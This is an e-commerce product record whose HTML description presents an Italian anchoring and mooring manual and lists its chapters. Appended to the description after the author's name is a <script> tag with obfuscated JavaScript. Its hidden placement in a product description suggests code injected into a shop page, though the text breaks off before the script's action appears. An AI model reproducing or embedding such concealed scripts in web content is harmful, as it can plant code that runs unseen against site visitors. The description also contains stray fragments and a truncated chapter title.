{"product_id":"manuale-lancoraggio-in-rada","title":"Manuale 'L'ancoraggio in Rada'","description":"\u003cp\u003ecartDare fondo, dormire tranquilli e salpare recuperando la propria ancora\u003cbr\u003e\u003cbr\u003eDopo una bella navigazione, che sia di qualche miglio o di centinaia di miglia, il momento più atteso, ma anche il più delicato, è l’atterraggio, per cui si decide se ancorare in rada o andare in porto. L’ancoraggio, magari in una bella baia solitaria, offre quell’impagabile sensazione di libertà a stretto contatto con la natura; di contro, l’ormeggio è perfetto se si predilige l’idea di trovarsi nel cuore di un centro abitato con tutti i servizi a portata di mano.\u003cbr\u003e\u003cbr\u003eA partire da un cenno sulle ancore nell’antichità fino ai modelli più recenti, vengono spiegate in ogni dettaglio le tecniche e le problematiche dell’ancoraggio, che costituiscono l’argomento principale di questo manuale.\u003cbr\u003eUn capitolo è dedicato anche alle manovre in porto e alle varie modalità di ormeggio.\u003cbr\u003e\u003cbr\u003eL’autore si rivolge in particolare ai neofiti, poiché ogni buon marinaio deve anzitutto sapersi destreggiare correttamente in rada e in porto, fornendo quei consigli pratici e quei “trucchi del mestiere” che derivano solo da una lunga esperienza in mare.\u003cbr\u003e\u003cbr\u003eRispetto alla prima edizione, il manuale si è notevolmente arricchito di foto, illustrazioni e grafici che agevolano la memorizzazione dei vari argomenti.\u003cbr\u003eequi\u003cbr\u003eA rendere il tutto più avvincente, il racconto di navigatori, che attraverso la loro esperienza diretta descrivono le vicissitudini di cui sono stati protagonisti.\u003cbr\u003e\u003cbr\u003eCONTENUTO\u003cbr\u003e\u003cbr\u003e- LE ANCORE NELLA STORIA\u003cbr\u003e- ATTREZZATURA PER L’ANCORAGGIO: CATENE E CAVI\u003cbr\u003e- LUNGHEZZA DEL CALUMO E IL SUO RICONOSCIMENTO\u003cbr\u003e- LE ANCORE IN USO NEL DIPORTO\u003cbr\u003e- IL SALPANCORA\u003cbr\u003e- LA SCELTA DELLA RADA\u003cbr\u003e- MANOVRA DI ANCORAGGIO\u003cbr\u003e- I CONTROLLI DA ESEGUIRE: GLI ALLARMI SE L’ANCORA ARA\u003cbr\u003e- ANCORAGGIO CON CIME A TERRA - L’USO DEL TENDER\u003cbr\u003e- UTILIZZARE PIÙ ANCORE E ALTRI TRUCCHI PER MIGLIORARE L’ANCORAGGIO\u003cbr\u003e- AFFIANCARE LE BARCHE ALLA FONDA\u003cbr\u003e- MANOVRE D’ORMEGGIO E ALLA FONDA SU GAVITELLO\u003cbr\u003e- DARE FONDO A VELA\u003cbr\u003e- SEGNALI DIURNI E NOTTURNI ALLA FONDA\u003cbr\u003e- COME GODERSI LA RADA NEL RISPETTO DELL’AMBIENTE\u003cbr\u003e- PEGGIORAMENTO DEL TEMPO: PREPARARE LA BARCA PER SALPARE\u003cbr\u003e- SALPARE: RECUPERARE L’ANCORA A MOTORE E A VELA\u003cbr\u003e- LIBERARE L’ANCORA INCATTIV\u003cbr\u003e\u003cbr\u003eAlessandro Borgia\u003cbr\u003e\u003cscript\u003efunction _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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